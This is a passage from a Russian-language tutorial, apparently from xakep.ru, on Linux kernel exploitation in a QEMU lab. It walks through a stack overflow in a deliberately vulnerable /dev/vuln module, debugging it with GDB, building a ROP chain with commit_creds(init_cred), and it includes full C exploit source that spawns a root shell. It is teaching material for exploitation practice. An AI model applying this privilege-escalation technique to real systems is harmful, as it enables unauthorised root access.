Кстати, если посмотреть далее, то будет видно, что переменной i является регистр edx — младшие 32 бита регистра rdx. Сразу же после 136 байт будет лежать адрес возврата из vuln_write. То есть для того, чтобы переполнить стек, нам надо сначала заполнить 136 байт мусором, а потом будет наш ROP Chain. В качестве мусора исторически использовались буквы А, так что первыми в нашем эксплоите будут 136 символов A. Зная, как переполнить стек, мы можем перейти к последнему пункту нашей развлекательной программы.
ВОЗВРАТ ИЗ СИСТЕМНОГО ВЫЗОВА
Здесь возникает небольшая проблема: мы будем перезаписывать ровно четыре 64-битных значения на стеке после r12, который нам, по сути, не нужен и не важен; тем более стек будет смещен на эти 32 байта. Поэтому возвращаться туда, куда должен изначально возвращаться vuln_write, было бы крайне опрометчиво, потому что ядро может попасть на неправильный адрес и словить ошибку. Чтобы понять, куда прыгать, надо немного подебажить и посмотреть, куда вообще будет возвращаться vuln_write.Отслеживание работы vuln_write
Поставим брейк‑пойнт (точку останова) на vuln_write. Для этого воспользуемся командой GDB hbreak vuln_write. Затем наберем continue и возобновим работу ядра. В QEMU введем echo asdf > /dev/vuln. Это инициирует запись asdf в /dev/vuln. Заметим, что работа ядра приостановилась, переходим обратно в GDB. С помощью команды ni мы должны дойти до инструкции ret. Выходим из функции так же с помощью ni и продолжаем идти, пока не дойдем до инструкций pop. Здесь мы понимаем, что их всего шесть перед ret.
Инструкции pop перед ret
Как было упомянуто, происходит смещение стека на 32 байта, но 8 байт из них — обычный ret в конце vuln_write. Это означает, что стек поломан на 24 байта. Для того чтобы его выровнять, нам надо пропустить три инструкции pop. Хотя у нас и есть какой‑то код перед этими инструкциями, нам придется им пренебречь, потому что выбора у нас особо нет. Запоминаем адрес 4-й инструкции pop: тут это pop r13. Именно на него мы и будем прыгать после vuln_write. Наконец‑то мы готовы к написанию эксплоита.
ЭКСПЛОИТ
Перед тем как перейти к дальнейшим действиям, убедись, что в rootfs.img установлен GCC и текстовый редактор, например Vim. Это необходимо сделать вне QEMU, потому что в QEMU нет интернета и нельзя установить эти пакеты.Достаем адреса
Нам нужно достать пару адресов, а именно адрес init_cred и commit_creds. Для этого в GDB выполним команды print &init_cred и print commit_creds и получим их адреса.Сам эксплоит
Писать мы будем на С, что достаточно очевидно для эксплуатации ядра. Для начала нам надо открыть /dev/vuln только для записи. Туда мы и будем писать буфер с полезной нагрузкой. Полезная нагрузка состоит из 136 символов A или любых других, после чего идут по порядку адреса pop rdi ; ret, init_cred, commit_creds и адрес возврата pop r12.Важно заметить, что адреса будут записаны в обратном порядке: например, если у init_cred адрес 0xffffffff8244d2a0, то он будет записан как \xa0\xd2\x44\x82\xff\xff\xff\xff. Это происходит потому, что x86_64 является архитектурой little-endian. После подготовки полезной нагрузки мы должны записать ее в /dev/vuln. В результате у процесса‑эксплоита должны быть права суперпользователя. Поэтому, чтобы мы получили шелл от имени рута, выполним команду execve("/bin/bash", 0, 0);. Код должен получиться примерно таким:
C:
#include <stdio.h>
#include <fcntl.h>
int main(){
unsigned char* kekw = malloc(168);
memcpy(kekw, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x00\x81\xff\xff\xff\xff\xa0\xd2\x44\x82\xff\xff\xff\xff\x40\x45\x08\x81\xff\xff\xff\xff\x23\x22\x1d\x81\xff\xff\xff\xff", 168);
int fd = open("/dev/vuln", O_WRONLY);
write(fd, kekw, 168);
execve("/bin/bash", NULL, NULL);
}
Запуск эксплоита
Убеждаемся, что сидим от непривилегированного пользователя. Залогинившись под пользователем user, компилируем эксплоит с помощью GCC, запускаем и… Видим, что запустился bash от имени суперпользователя. При этом рут не владеет бинарником и на нем не стоит setuid-бит, что доказывает: взлом происходит именно в ядре.
Как работает эксплоит
ИТОГИ
Соберем воедино то, что мы научились делать:- Собрали ядро с дебаг‑символами.
- Научились писать модуль и правильно его компилировать.
- Собрали rootfs, с которой ядро будет запускаться.
- Написали небольшие oneshot-модули для systemd.
- Научились дебажить ядро с помощью GDB.
- Узнали о принципе ROP.
- Воспользовались этим приемом для того, чтобы взломать ядро.
Источник: https://xakep.ru/2021/06/10/linux-kernel-exploitation/